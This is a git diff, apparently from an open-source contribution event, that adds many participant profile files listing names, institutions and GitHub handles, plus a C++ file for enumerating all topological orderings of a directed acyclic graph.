b/content/participant/Rajat009-Ra1.md new file mode 100644 index 00000000000..b30911099a1 --- /dev/null +++ b/content/participant/Rajat009-Ra1.md @@ -0,0 +1,5 @@ +--- +name: Rajat Singh +institution: IIT BHU +github: Rajat009-Ra1 +--- diff --git a/content/participant/Ramendra.MD b/content/participant/Ramendra.MD new file mode 100644 index 00000000000..62fc7c646fa --- /dev/null +++ b/content/participant/Ramendra.MD @@ -0,0 +1,4 @@ +Name:Ramendra Mishra +Location:Varanasi, Uttarpradesh, India +Institution:NIT Kuruksehtra +Github:https://github.com/Ramendra11n diff --git a/content/participant/Ranjan-bej.md b/content/participant/Ranjan-bej.md new file mode 100644 index 00000000000..a622cb676a9 --- /dev/null +++ b/content/participant/Ranjan-bej.md @@ -0,0 +1,5 @@ +--- +name: Ranjan Bej +institution/company: Siksha O Anusandhan +github: Ranjan-bej +--- \ No newline at end of file diff --git a/content/participant/Ranjeet0302Singh.md b/content/participant/Ranjeet0302Singh.md new file mode 100644 index 00000000000..ad03cd91c63 --- /dev/null +++ b/content/participant/Ranjeet0302Singh.md @@ -0,0 +1,6 @@ +--- +name: Ranjeet Singh Rawat +institution/company: chandigarh group of colleges jhanjeri +github:Ranjeet0302Singh + +--- diff --git a/content/participant/Rashi-Agarwal1611 b/content/participant/Rashi-Agarwal1611 new file mode 100644 index 00000000000..ed6510679d2 --- /dev/null +++ b/content/participant/Rashi-Agarwal1611 @@ -0,0 +1,5 @@ +--- +name: Rashi Agarwal +institution/company: Paytm +github:Rashi-Agarwal1611 +--- diff --git a/content/participant/RavalRahul.md b/content/participant/RavalRahul.md new file mode 100644 index 00000000000..20a498c455e --- /dev/null +++ b/content/participant/RavalRahul.md @@ -0,0 +1,5 @@ +--- +name: Raval Rahul +institution/company: Government Engineering College +github: RavalRahul +--- \ No newline at end of file diff --git a/content/participant/Reihen-afk b/content/participant/Reihen-afk new file mode 100644 index 00000000000..56fcba456f9 --- /dev/null +++ b/content/participant/Reihen-afk @@ -0,0 +1,5 @@ +--- +name: Reihen Nath +institution/company: BSB +github: Reihen-afk +--- diff --git a/content/participant/ReubenReny03.md b/content/participant/ReubenReny03.md new file mode 100644 index 00000000000..01bc82165b1 --- /dev/null +++ b/content/participant/ReubenReny03.md @@ -0,0 +1,5 @@ +--- +Name: Reuben Reny +institution/company: Karunya +github: https://github.com/ReubenReny03 +--- diff --git a/content/participant/Ricktho1.md b/content/participant/Ricktho1.md new file mode 100644 index 00000000000..289a9901657 --- /dev/null +++ b/content/participant/Ricktho1.md @@ -0,0 +1,5 @@ +--- +name: Ricktho Sarkar +institution/company: IIT BHU +github: Ricktho1 +--- diff --git a/content/participant/RiddhiRaj.md b/content/participant/RiddhiRaj.md new file mode 100644 index 00000000000..c801ebc2b43 --- /dev/null +++ b/content/participant/RiddhiRaj.md @@ -0,0 +1,5 @@ +--- +name: Riddhi Raj Ghosh +institution: University of Engineering and Management Kolkata +github: [RiddhiRaj](https://github.com/RiddhiRaj) +--- \ No newline at end of file diff --git a/content/participant/Rishab-Bairi.md b/content/participant/Rishab-Bairi.md new file mode 100644 index 00000000000..09daefc4538 --- /dev/null +++ b/content/participant/Rishab-Bairi.md @@ -0,0 +1,5 @@ +--- +name: Rishab Bairi +institution/company: IIT Mandi +github: RishabB54 +--- diff --git a/content/participant/Rishabh4-2-2002.md b/content/participant/Rishabh4-2-2002.md new file mode 100644 index 00000000000..a20662ed6f3 --- /dev/null +++ b/content/participant/Rishabh4-2-2002.md @@ -0,0 +1,5 @@ +--- +name: Rishabh +institution/company: Thapar University +github:Rishabh4-2-2002 +--- \ No newline at end of file diff --git a/content/participant/RishabhSrivastava1423.md b/content/participant/RishabhSrivastava1423.md new file mode 100644 index 00000000000..5ddb36c1a44 --- /dev/null +++ b/content/participant/RishabhSrivastava1423.md @@ -0,0 +1,5 @@ +--- +Name: Rishabh Srivastava +Institution/company: United College Of Engineering & Research +Github: RishabhSrivastava1423 +--- \ No newline at end of file diff --git a/content/participant/Rishi.md b/content/participant/Rishi.md index b02a7a0ed68..c3539f37bb0 100644 --- a/content/participant/Rishi.md +++ b/content/participant/Rishi.md @@ -1,2 +1,2 @@ -name: Rishi Saxena institution/company: VIT Chennai +name: Rishi Saxena institution/company: VIT Chennai github:Alcatraz714 \ No newline at end of file diff --git a/content/participant/Rishiwardhan.md b/content/participant/Rishiwardhan.md new file mode 100644 index 00000000000..e13f01fd77d --- /dev/null +++ b/content/participant/Rishiwardhan.md @@ -0,0 +1,5 @@ +--- +name: Rishiwardhan +institution/company: KRM Institute +github: rishiwardhan +--- \ No newline at end of file diff --git a/content/participant/Rithingithub.md b/content/participant/Rithingithub.md new file mode 100644 index 00000000000..15e408ee644 --- /dev/null +++ b/content/participant/Rithingithub.md @@ -0,0 +1,5 @@ +--- +name: Rithin Lehan +institution/company: MDIT Kozhikode +github: Rithingithub +--- diff --git a/content/participant/Rittika1234.md b/content/participant/Rittika1234.md index f39b836f0bf..488bdde4a15 100644 --- a/content/participant/Rittika1234.md +++ b/content/participant/Rittika1234.md @@ -1,5 +1,5 @@ ---- -Name: Tamali Sarkar -institution/company: CoochBehar Government Engineering College -github: Rittika1234 +--- +Name: Tamali Sarkar +institution/company: CoochBehar Government Engineering College +github: Rittika1234 --- \ No newline at end of file diff --git a/content/participant/RiyaBhaskar12.md b/content/participant/RiyaBhaskar12.md new file mode 100644 index 00000000000..a7cb7993a74 --- /dev/null +++ b/content/participant/RiyaBhaskar12.md @@ -0,0 +1,5 @@ +--- +name: RIYA BHASKAR +institution/company: INDIRA GANDHI DELHI TECHNICAL UNIVERSITY FOR WOMEN +github: RiyaBhaskar12 +--- \ No newline at end of file diff --git a/content/participant/Roar022.md b/content/participant/Roar022.md new file mode 100644 index 00000000000..ff101bf681d --- /dev/null +++ b/content/participant/Roar022.md @@ -0,0 +1,3 @@ +NAME: KRISH GARG +INSTITUTION/COMPANY: INDIAN INSTITUTE OF INFORMATION TECHNOLOGY +GITHUB: Roar022 diff --git a/content/participant/Rohan.md b/content/participant/Rohan.md index 59893613dfd..653fc0119a1 100644 --- a/content/participant/Rohan.md +++ b/content/participant/Rohan.md @@ -1,4 +1,4 @@ - -name: Rohan -institution/company: Kit + +name: Rohan +institution/company: Kit github:Solaris \ No newline at end of file diff --git a/content/participant/RohanDhananjaya.md b/content/participant/RohanDhananjaya.md new file mode 100644 index 00000000000..c23f2a29be3 --- /dev/null +++ b/content/participant/RohanDhananjaya.md @@ -0,0 +1,5 @@ +--- +name: Rohan Dhananjaya +institution/company: Embla +github: https://github.com/rohandhananjaya +--- \ No newline at end of file diff --git a/content/participant/RohitTaparia.md b/content/participant/RohitTaparia.md new file mode 100644 index 00000000000..c142f1d21ad --- /dev/null +++ b/content/participant/RohitTaparia.md @@ -0,0 +1,5 @@ +--- +name: Rohit Taparia +institution/company: National Institiute of Technology Karnataka, Surathkal +github: RohitTaparia +--- \ No newline at end of file diff --git a/content/participant/RohithND.md b/content/participant/RohithND.md new file mode 100644 index 00000000000..001b1e5a28e --- /dev/null +++ b/content/participant/RohithND.md @@ -0,0 +1,5 @@ +--- +name: Rohith ND +institution/company: Amrita Vishwa Vidyapeetham, Chennai +github: ndrohith09 +--- \ No newline at end of file diff --git a/content/participant/Ruchira28.txt b/content/participant/Ruchira28.txt new file mode 100644 index 00000000000..40a8e78dfab --- /dev/null +++ b/content/participant/Ruchira28.txt @@ -0,0 +1,5 @@ +--- +name:Ruchira Priyadarshani +institution/company: Veer Surendra Sai University of Technology +github:Ruchira-28 +--- \ No newline at end of file diff --git a/content/participant/RuchiraKvinda.md b/content/participant/RuchiraKvinda.md index 288fbb7223e..db16333df07 100644 --- a/content/participant/RuchiraKvinda.md +++ b/content/participant/RuchiraKvinda.md @@ -1,5 +1,5 @@ ---- -name: Ruchira Kavinda -institution/company: NSBM, Sri lanka -github:Ruchirakavinda +--- +name: Ruchira Kavinda +institution/company: NSBM, Sri lanka +github:Ruchirakavinda --- \ No newline at end of file diff --git a/content/participant/Rutetid.md b/content/participant/Rutetid.md new file mode 100644 index 00000000000..95cf2938c34 --- /dev/null +++ b/content/participant/Rutetid.md @@ -0,0 +1,5 @@ +--- +name: Rutetid +institution/company: Birla Institute of Technology +github:Rutetid +--- diff --git a/content/participant/Ruu-hub.md b/content/participant/Ruu-hub.md index 64f65b6d9e1..37d45a6090c 100644 --- a/content/participant/Ruu-hub.md +++ b/content/participant/Ruu-hub.md @@ -1,5 +1,5 @@ ---- -name: Rubben -institution/company: SMKN 1 -github:Ruu-hub +--- +name: Rubben +institution/company: SMKN 1 +github:Ruu-hub --- \ No newline at end of file diff --git a/content/participant/SOUMOJIT-CHAKRABORTY.md b/content/participant/SOUMOJIT-CHAKRABORTY.md new file mode 100644 index 00000000000..2abf6e92241 --- /dev/null +++ b/content/participant/SOUMOJIT-CHAKRABORTY.md @@ -0,0 +1,5 @@ +--- +name: Soumojit Chakraborty +institution/company: FIEM, Kolkata +github: SOUMOJIT-CHAKRABORTY +--- diff --git a/content/participant/SS.md b/content/participant/SS.md new file mode 100644 index 00000000000..d6e25f66bec --- /dev/null +++ b/content/participant/SS.md @@ -0,0 +1,5 @@ +--- +name: Sarin +institution/company: None +github: SarinSthapit +--- diff --git a/content/participant/Sabyasachi-Seal.md b/content/participant/Sabyasachi-Seal.md index ed7c768bb62..8719f6a9cf5 100644 --- a/content/participant/Sabyasachi-Seal.md +++ b/content/participant/Sabyasachi-Seal.md @@ -1,5 +1,5 @@ ---- -name: Sabyasachi Seal -institution/company: Techno Main Salt Lake, India -github: Sabyasachi-Seal +--- +name: Sabyasachi Seal +institution/company: Techno Main Salt Lake, India +github: Sabyasachi-Seal --- \ No newline at end of file diff --git a/content/participant/Sadman26.md b/content/participant/Sadman26.md new file mode 100644 index 00000000000..f879dd6be5b --- /dev/null +++ b/content/participant/Sadman26.md @@ -0,0 +1,5 @@ +--- +name: Shadman +institution/company: Bangladesh University of Business and Technology +github:Sadman26 +--- \ No newline at end of file diff --git a/content/participant/Sagargupta16.md b/content/participant/Sagargupta16.md new file mode 100644 index 00000000000..4becb9e45f7 --- /dev/null +++ b/content/participant/Sagargupta16.md @@ -0,0 +1,5 @@ +--- +name: Sagar Gupta +institution/company: National Institute Of Technology , Warangal +github: Sagargupta16 +--- diff --git a/content/participant/Sahil-Dhanjal.md b/content/participant/Sahil-Dhanjal.md new file mode 100644 index 00000000000..edec77a6875 --- /dev/null +++ b/content/participant/Sahil-Dhanjal.md @@ -0,0 +1,5 @@ +--- +name: Sahil Dhanjal +institution/company: Thapar Institute of Engineering And Technology, Patiala +github: [Sahil-Dhanjal](https://github.com/Sahil-Dhanjal) +--- diff --git a/content/participant/SahilRathod17.md b/content/participant/SahilRathod17.md new file mode 100644 index 00000000000..83c7d74a28b --- /dev/null +++ b/content/participant/SahilRathod17.md @@ -0,0 +1,5 @@ +--- +name: Sahil Rathod +institution/company: LDRP-ITR +github: SahilRathod17 +--- \ No newline at end of file diff --git a/content/participant/Sai3Rahul.md b/content/participant/Sai3Rahul.md new file mode 100644 index 00000000000..a2627fa1354 --- /dev/null +++ b/content/participant/Sai3Rahul.md @@ -0,0 +1,5 @@ +--- +name: Sai Rahul +institution/company: Malla Reddy Institute of Technology and Science +github:Sai3Rahul +--- diff --git a/content/participant/Saitarrun b/content/participant/Saitarrun new file mode 100644 index 00000000000..bfb91d1080b --- /dev/null +++ b/content/participant/Saitarrun @@ -0,0 +1,5 @@ +--- +name: Sai Tarrun +institution/company: GITAM UNIVERSITY +github:Saitarrun +--- diff --git a/content/participant/SamirKaushik.md b/content/participant/SamirKaushik.md index e787b55cfb2..926491af45b 100644 --- a/content/participant/SamirKaushik.md +++ b/content/participant/SamirKaushik.md @@ -3,5 +3,4 @@ name: Samir Kaushik institution/company: National Institute of Technology, Kurukshetra github:SamirKaushik - --- diff --git a/content/participant/Sandeepan.md b/content/participant/Sandeepan.md new file mode 100644 index 00000000000..fbcce30da1c --- /dev/null +++ b/content/participant/Sandeepan.md @@ -0,0 +1,3 @@ +name: Sandeepan Mohanty +institution/company: VSSUT Burla +github: CSESandeepan39 diff --git a/content/participant/SanskarJain007 b/content/participant/SanskarJain007 new file mode 100644 index 00000000000..7ce5280491c --- /dev/null +++ b/content/participant/SanskarJain007 @@ -0,0 +1,5 @@ +--- +name: SANSKAR JAIN +institution/company: AMITY_UNIVERSITY +github: SanskarJain007 +--- diff --git a/content/participant/SanyamJain2002.md b/content/participant/SanyamJain2002.md new file mode 100644 index 00000000000..df548ab1597 --- /dev/null +++ b/content/participant/SanyamJain2002.md @@ -0,0 +1,5 @@ +--- +name: SANYAM JAIN +institution/company: MANIT BHOPAL +github: SanyamJain2002 +--- \ No newline at end of file diff --git a/content/participant/Saransh-Bangar.md b/content/participant/Saransh-Bangar.md new file mode 100644 index 00000000000..a2116a5d89f --- /dev/null +++ b/content/participant/Saransh-Bangar.md @@ -0,0 +1,5 @@ +--- +name: Saransh Bangar +institution: SRM KTR +github: github.com/SaranshBangar +--- \ No newline at end of file diff --git a/content/participant/Saugat-ghimire.md b/content/participant/Saugat-ghimire.md new file mode 100644 index 00000000000..2e01499641b --- /dev/null +++ b/content/participant/Saugat-ghimire.md @@ -0,0 +1,4 @@ +name: Saugat +company: gitHub +github:Saugat-ghimire + diff --git a/content/participant/Seema25dhami.md b/content/participant/Seema25dhami.md new file mode 100644 index 00000000000..0a83fcdfa6d --- /dev/null +++ b/content/participant/Seema25dhami.md @@ -0,0 +1,5 @@ +--- +name: Seema +institution/company: IGDTUW +github:Seema25dhami +--- diff --git a/content/participant/Shahfilapv.md b/content/participant/Shahfilapv.md new file mode 100644 index 00000000000..d649bc55f5c --- /dev/null +++ b/content/participant/Shahfilapv.md @@ -0,0 +1,3 @@ +name: Shahfila PV +institution/company: EMEA College of Arts and Science Kondotty,Kerala +github: Shahfilapv \ No newline at end of file diff --git a/content/participant/Shailesh1Shrestha.md b/content/participant/Shailesh1Shrestha.md new file mode 100644 index 00000000000..fc9538f3603 --- /dev/null +++ b/content/participant/Shailesh1Shrestha.md @@ -0,0 +1,5 @@ +--- +name: Shailesh Shrestha +institution/company: Madan Bhandari Memorial College +github:Shailesh1Shrestha +--- diff --git a/content/participant/Shamal-Lakshan.md b/content/participant/Shamal-Lakshan.md new file mode 100644 index 00000000000..0170d4ee71c --- /dev/null +++ b/content/participant/Shamal-Lakshan.md @@ -0,0 +1,5 @@ +--- +name: Shamal Lakshan +institution/company: Student @ School +github: Shamal-Lakshan +--- diff --git a/content/participant/Shameema beegum ckk.md b/content/participant/Shameema beegum ckk.md new file mode 100644 index 00000000000..3f67e8da8ad --- /dev/null +++ b/content/participant/Shameema beegum ckk.md @@ -0,0 +1,5 @@ +--- +Name: Shameema beegum ckk +institution/company: EMEA College of arts and science +github: https://github.com/shameema298 +--- diff --git a/content/participant/Shantanukar.md b/content/participant/Shantanukar.md new file mode 100644 index 00000000000..d24bcb0d550 --- /dev/null +++ b/content/participant/Shantanukar.md @@ -0,0 +1,5 @@ +--- +name: Shantanu Kumar Kar +institution/company: ARMY INSTITUTE OF TECHNOLOGY +github:shantanu-crypto +--- diff --git a/content/participant/Sharma62.md b/content/participant/Sharma62.md new file mode 100644 index 00000000000..f634d937f30 --- /dev/null +++ b/content/participant/Sharma62.md @@ -0,0 +1,29 @@ +# SURAJ KUMAR SHARMA + +### Location + +PATNA `BIHAR` / INDIA + +### Academics +- BCA - BACHLOR'S IN COMPUTER APPLICATION +- MCA - MASTER'S IN COMPUTER APPLICATION + +### Interests + +- Coffiee & Code + +### Development + +- FullStack Development +- MERN +- PHP +- PYTHON + + +### Projects +>React js +- [POKEMON](https://main--stupendous-dasik-cde05e.netlify.app/) cards for each Pokémon with name and image. On click of the Name of the Pokémon, redirect to second page where some important details of the Pokémon are being displayed like Name, Image, Level, HP, Abilities, Attacks etc. [GITHUB](https://main--stupendous-dasik-cde05e.netlify.app/) +> +### Profile Link + +Go to profile [Sharma62](https://github.com/sharma62/) diff --git a/content/participant/Shashank b/content/participant/Shashank new file mode 100644 index 00000000000..70f5d8c0435 --- /dev/null +++ b/content/participant/Shashank @@ -0,0 +1,5 @@ +--- +name: Shashank K V +institution/company: Dr. AIT +github: https://github.com/Shashank-K-V +--- diff --git a/content/participant/ShawFromAttock.md b/content/participant/ShawFromAttock.md new file mode 100644 index 00000000000..db840f8bbc3 --- /dev/null +++ b/content/participant/ShawFromAttock.md @@ -0,0 +1,5 @@ +--- +name: Zain Ali Shah +institution/company: COMSATS Islamabad +github: https://github.com/ShawFromAttock +--- diff --git a/content/participant/ShehanNimsara99 b/content/participant/ShehanNimsara99 new file mode 100644 index 00000000000..75b165cac90 --- /dev/null +++ b/content/participant/ShehanNimsara99 @@ -0,0 +1,5 @@ +--- +name: Shehan Nimsara +institution/company: NSBM +github:ShehanNimsara99 +--- diff --git a/content/participant/ShinoAsada.md b/content/participant/ShinoAsada.md new file mode 100644 index 00000000000..2d6a201b24e --- /dev/null +++ b/content/participant/ShinoAsada.md @@ -0,0 +1,5 @@ +--- +name: Shino Asada +institution/company: none +github: Asada-Sinon +--- diff --git a/content/participant/ShivamPathak99.md b/content/participant/ShivamPathak99.md new file mode 100644 index 00000000000..3d983065b82 --- /dev/null +++ b/content/participant/ShivamPathak99.md @@ -0,0 +1,5 @@ +--- +name: Shivam Pathak +institution/company: UIET - K +github:ShivamPathak99 +--- diff --git a/content/participant/Shorya7.md b/content/participant/Shorya7.md new file mode 100644 index 00000000000..1d7c484dce6 --- /dev/null +++ b/content/participant/Shorya7.md @@ -0,0 +1,5 @@ +--- +name: Shorya +institution/company: Ajay Kumar Garg Engineering College, Ghaziabad +github: Shorya7 +--- \ No newline at end of file diff --git a/content/participant/Shreejan-35.md b/content/participant/Shreejan-35.md new file mode 100644 index 00000000000..ab287f10017 --- /dev/null +++ b/content/participant/Shreejan-35.md @@ -0,0 +1,5 @@ +--- +name: SHREEJAN DOLAI +institution/company: DAV MODEL SCHOOL IIT KHARAGPUR +github: Shreejan-35 +--- diff --git a/content/participant/ShrutiMishra-2002.md b/content/participant/ShrutiMishra-2002.md new file mode 100644 index 00000000000..3545ae87331 --- /dev/null +++ b/content/participant/ShrutiMishra-2002.md @@ -0,0 +1,5 @@ +--- +Name: Shruti Mishra +institution/company: Tcet +github: ShrutiMishra-2002 +--- \ No newline at end of file diff --git a/content/participant/Shrutzz.md b/content/participant/Shrutzz.md new file mode 100644 index 00000000000..42fb90a6c26 --- /dev/null +++ b/content/participant/Shrutzz.md @@ -0,0 +1,5 @@ +--- +name: SHRUTIKA YADAV +institution/company: SRM INSTITUTE OF SCIENCE AND TECHNOLOGY +github: Shrutzz17 +--- \ No newline at end of file diff --git a/content/participant/Shubham-Godambe.md b/content/participant/Shubham-Godambe.md new file mode 100644 index 00000000000..2b123082096 --- /dev/null +++ b/content/participant/Shubham-Godambe.md @@ -0,0 +1,15 @@ +--- +name : Shubham Godambe + +Location: Pune/ India + +Academics: BE Information Technology + +Development: Flutter Development + +Projects: + +Allen virtual Assistant : https://github.com/Shubham-Godambe/Allen_AI + +Profile Link: [Shubham-Godambe](https://github.com/Shubham-Godambe/) + diff --git a/content/participant/Shubham.md b/content/participant/Shubham.md new file mode 100644 index 00000000000..c7c98c04450 --- /dev/null +++ b/content/participant/Shubham.md @@ -0,0 +1,5 @@ +--- +name: Shubham +institution: IGNOU +github: https://github.com/ShubhamP48 +---- \ No newline at end of file diff --git a/content/participant/Siddharth-Rai.md b/content/participant/Siddharth-Rai.md index 67424d629c6..a885780abb1 100644 --- a/content/participant/Siddharth-Rai.md +++ b/content/participant/Siddharth-Rai.md @@ -1,3 +1,3 @@ -Name: Siddharth Rai -Institue/Company: VIT Bhopal -github: Siddharth-Rai-06 +Name: Siddharth Rai +Institue/Company: VIT Bhopal +github: Siddharth-Rai-06 diff --git a/content/participant/Sitanshu.md b/content/participant/Sitanshu.md new file mode 100644 index 00000000000..88a0883f067 --- /dev/null +++ b/content/participant/Sitanshu.md @@ -0,0 +1,5 @@ +--- +name: Sitanshu Pokalwar +institution: SRM Institute of Science and Technology +github:Sitzz23 +--- diff --git a/content/participant/Sivasanath06.md b/content/participant/Sivasanath06.md new file mode 100644 index 00000000000..105eff1878a --- /dev/null +++ b/content/participant/Sivasanath06.md @@ -0,0 +1,5 @@ +--- +name: SIVASANATH KUMAR MEDAVARAPU +institution/company: IIIT SRICITY +github:Sivasanath06 +--- diff --git a/content/participant/SmashedTrash.md b/content/participant/SmashedTrash.md new file mode 100644 index 00000000000..b6732c20293 --- /dev/null +++ b/content/participant/SmashedTrash.md @@ -0,0 +1,3 @@ +name: Himanshu Chavan +institution/company: St John College of Engineering and Management +github: SmashedTrash \ No newline at end of file diff --git a/content/participant/Soham.md b/content/participant/Soham.md new file mode 100644 index 00000000000..650dc78b0d1 --- /dev/null +++ b/content/participant/Soham.md @@ -0,0 +1,3 @@ +| Name | College | Username | +| ------------- | ------------- | ------------- | +| Soham Mhatre | National Institute of Technology Nagaland | Sohammhatre10 | diff --git a/content/participant/SohamDesai1.md b/content/participant/SohamDesai1.md new file mode 100644 index 00000000000..9c371a9e4f0 --- /dev/null +++ b/content/participant/SohamDesai1.md @@ -0,0 +1,5 @@ +--- +name: Soham Desai +institution/company: Xavier Institute of Engineering +github: SohamDesai1 +--- \ No newline at end of file diff --git a/content/participant/SohamRoy1998.md b/content/participant/SohamRoy1998.md new file mode 100644 index 00000000000..077d94ca782 --- /dev/null +++ b/content/participant/SohamRoy1998.md @@ -0,0 +1,5 @@ +--- +name: SohamRoy +institution/company: Techno Main Salt_lake +github: SohamRoy1998 +--- \ No newline at end of file diff --git a/content/participant/Sonal Mahajan.md b/content/participant/Sonal Mahajan.md new file mode 100644 index 00000000000..24c65817c68 --- /dev/null +++ b/content/participant/Sonal Mahajan.md @@ -0,0 +1,5 @@ +--- +name: Sonal Mahajan +institution/company: MMCOE +github:sonal019 +--- diff --git a/content/participant/Sonu64 b/content/participant/Sonu64 new file mode 100644 index 00000000000..0fde8721ff9 --- /dev/null +++ b/content/participant/Sonu64 @@ -0,0 +1,5 @@ +--- +name: Kushagra Rastogi +institution/company: INTEGRAL UNIVERSITY +github: kushagrarastogi7007 +--- diff --git a/content/participant/Sophyia7.md b/content/participant/Sophyia7.md new file mode 100644 index 00000000000..3139cb112f2 --- /dev/null +++ b/content/participant/Sophyia7.md @@ -0,0 +1,5 @@ +--- +name: Sophia Iroegbu +institution/company: Micheal Okpara University +github: sophyia7 +--- \ No newline at end of file diff --git a/content/participant/Soudeepan.md b/content/participant/Soudeepan.md new file mode 100644 index 00000000000..6bce6fc5acf --- /dev/null +++ b/content/participant/Soudeepan.md @@ -0,0 +1,5 @@ +--- +name: Soudeepan Biswas +Institution: Netaji Subhash Engineering College, Garia +github: soudeepan +--- diff --git a/content/participant/SoumY16.md b/content/participant/SoumY16.md new file mode 100644 index 00000000000..eeeed45dbb6 --- /dev/null +++ b/content/participant/SoumY16.md @@ -0,0 +1,5 @@ +--- +name: Soumya Agrawal +institution/company: MANIT, Bhopal +github: SouMy16 +--- \ No newline at end of file diff --git a/content/participant/Sourabh06.md b/content/participant/Sourabh06.md new file mode 100644 index 00000000000..e5897ceda06 --- /dev/null +++ b/content/participant/Sourabh06.md @@ -0,0 +1,5 @@ +--- +name: Sourabh Kumar Singh +institution: Indian Institute of Management Ranchi +github: Sourabh06 +--- diff --git a/content/participant/Sourja99.md b/content/participant/Sourja99.md new file mode 100644 index 00000000000..710f202970b --- /dev/null +++ b/content/participant/Sourja99.md @@ -0,0 +1,23 @@ +--- +name: Sourjadip Pramanik +institution/company: VIT Engineering College +github: Sourja99 +--- + +![MasterHead](https://media-exp1.licdn.com/dms/image/C5616AQGIGzakDYvslA/profile-displaybackgroundimage-shrink_350_1400/0/1517067616632?e=1671667200&v=beta&t=1am4zKsbPj3hWPLhcBLz6ExtG5zlj10aJyLuRGnhoTk) +

    Hi 👋, I'm Sourjadip Pramanik

    +

    A Data | ML | DL | Business | Analytics | Enthusiast

    +

    +Data Enthusiast + +

    sourja99

    + +- 🔭 I’m currently working on **Flutter Business App** + +- 🌱 I’m currently learning **Portfolio Website | Blockchain** + +- 💬 Ask me about **Data Science, Machine Learning, Database, Power Bi, Excel** + +- 📫 How to reach me **sourjadippramanik@gmail.com** + +- ⚡ Fun fact **I think I do extra work where its not needed** diff --git a/content/participant/Sreedharsh.md b/content/participant/Sreedharsh.md new file mode 100644 index 00000000000..90b4280079b --- /dev/null +++ b/content/participant/Sreedharsh.md @@ -0,0 +1,3 @@ +name: Sreedharsh R Pillai +institution/company: SRM Institute of Science and Technology +github:Sreedharsh10 diff --git a/content/participant/Sriansh-raj.md b/content/participant/Sriansh-raj.md new file mode 100644 index 00000000000..1d95c24aa72 --- /dev/null +++ b/content/participant/Sriansh-raj.md @@ -0,0 +1,5 @@ +--- +name: Sriansh Raj Pradhan +institution/company: KIIT UNIVERSITY +github: Sriansh-raj +--- diff --git a/content/participant/Stapa1.md b/content/participant/Stapa1.md new file mode 100644 index 00000000000..ad00f1b779a --- /dev/null +++ b/content/participant/Stapa1.md @@ -0,0 +1,5 @@ +--- +name: G PAVAN SAI VISHNU VARDHAN +institution/company: SRM University +github:Stapa1(https://github.com/Stapa1) +--- diff --git a/content/participant/Subham85.md b/content/participant/Subham85.md new file mode 100644 index 00000000000..bba1d1e1445 --- /dev/null +++ b/content/participant/Subham85.md @@ -0,0 +1,5 @@ +--- +name: SUBHAM SUBHASHIS +institution/company: Odisha University of Technology and Research +github:Subham85 +--- diff --git a/content/participant/SujanGhosh.md b/content/participant/SujanGhosh.md new file mode 100644 index 00000000000..b34748a5b46 --- /dev/null +++ b/content/participant/SujanGhosh.md @@ -0,0 +1,5 @@ +--- +name: Sujan Ghosh +institution/company: Institute of Engineering & Management +github: sujanrupu +--- diff --git a/content/participant/SusanYeldo.md b/content/participant/SusanYeldo.md new file mode 100644 index 00000000000..f43a1cbd6de --- /dev/null +++ b/content/participant/SusanYeldo.md @@ -0,0 +1,5 @@ +--- +name: Susanna P Yeldo +institution/company: IIT Kharagpur +github:SusanYeldo +--- diff --git a/content/participant/SwasthK.md b/content/participant/SwasthK.md new file mode 100644 index 00000000000..96df97d08fa --- /dev/null +++ b/content/participant/SwasthK.md @@ -0,0 +1,30 @@ + +--- +# SWASTHIK K + +### Location + +Mangalore / India + +### Academics +-BCA II Year + +### Interests + +-Full STACK +-OPEN SOURCE +-VIDEO EDITING +-DESIGN + +### Development + +- PREFER NOT TO SAY + + +### Projects + +>BEGINNER + +### Profile Link + +Go to profile [userName](https://github.com/SwasthK/) diff --git a/content/participant/T1NUP.md b/content/participant/T1NUP.md new file mode 100644 index 00000000000..78d227d4b1f --- /dev/null +++ b/content/participant/T1NUP.md @@ -0,0 +1,5 @@ +--- +name: PUNIT +institution/company: KIIT +github:T1NUP +--- \ No newline at end of file diff --git a/content/participant/Tanishq.md b/content/participant/Tanishq.md new file mode 100644 index 00000000000..7c54b5e24bc --- /dev/null +++ b/content/participant/Tanishq.md @@ -0,0 +1,5 @@ +--- +name: Tanishq Mishra +institution/company: OPJU +github: MishraTanishq619 +--- \ No newline at end of file diff --git a/content/participant/Tanya.md b/content/participant/Tanya.md new file mode 100644 index 00000000000..79edd779808 --- /dev/null +++ b/content/participant/Tanya.md @@ -0,0 +1,4 @@ +name: Tanya +institution/company: BMU +github:Tanya401 + diff --git a/content/participant/TheKidPadra.md b/content/participant/TheKidPadra.md new file mode 100644 index 00000000000..770737bf3dc --- /dev/null +++ b/content/participant/TheKidPadra.md @@ -0,0 +1,5 @@ +--- +name: Mohammad Esfandiyar +institution/company: Sharif University of Technology +github: TheKidPadra +--- diff --git a/content/participant/Tiffany23344 b/content/participant/Tiffany23344 new file mode 100644 index 00000000000..97f1d94d564 --- /dev/null +++ b/content/participant/Tiffany23344 @@ -0,0 +1,5 @@ +--- +name: Tiffany +institution/company: Newport High School +github:Tiffany23344 +--- diff --git a/content/participant/Topological_Ordering.cpp.cpp b/content/participant/Topological_Ordering.cpp.cpp new file mode 100644 index 00000000000..0d489586627 --- /dev/null +++ b/content/participant/Topological_Ordering.cpp.cpp @@ -0,0 +1,128 @@ +#include +#include +#include +using namespace std; + +// Data structure to store a graph edge +struct Edge { + int src, dest; +}; + +// A class to represent a graph object +class Graph +{ +public: + + // a vector of vectors to represent an adjacency list + vector> adjList; + + // construct another vector for storing in-degree of the vertices + vector indegree; + + // Graph Constructor + Graph(vector const &edges, int n) + { + // resize the adjacency list to `n` elements of type `vector` + adjList.resize(n); + + // resize the in-degree vector for `n` vertices + indegree.resize(n); + + // add edges to the directed graph + for (auto &edge: edges) + { + adjList[edge.src].push_back(edge.dest); + + // increment in-degree of destination vertex by 1 + indegree[edge.dest]++; + } + } +}; + +// Utility function to print contents of a given list +void printPath(list list) // no ref, no const +{ + while (!list.empty()) + { + cout << list.front() << ' '; + list.pop_front(); + } + cout << endl; +} + +// Recursive function to find all topological orderings of a given DAG +void findAllTopologicalOrderings(Graph &graph, auto &path, auto &discovered, int n) +{ + // do for every vertex + for (int v = 0; v < n; v++) + { + // proceed only if the current node's in-degree is 0 and + // the current node is not processed yet + if (graph.indegree[v] == 0 && !discovered[v]) + { + // for every adjacent vertex `u` of `v`, reduce the in-degree of `u` by 1 + for (int u: graph.adjList[v]) { + graph.indegree[u]--; + } + + // include the current node in the path and mark it as discovered + path.push_back(v); + discovered[v] = true; + + // recur + findAllTopologicalOrderings(graph, path, discovered, n); + + // backtrack: reset in-degree information for the current node + for (int u: graph.adjList[v]) { + graph.indegree[u]++; + } + + // backtrack: remove the current node from the path and + // mark it as undiscovered + path.pop_back(); + discovered[v] = false; + } + } + + // print the topological order if all vertices are included in the path + if 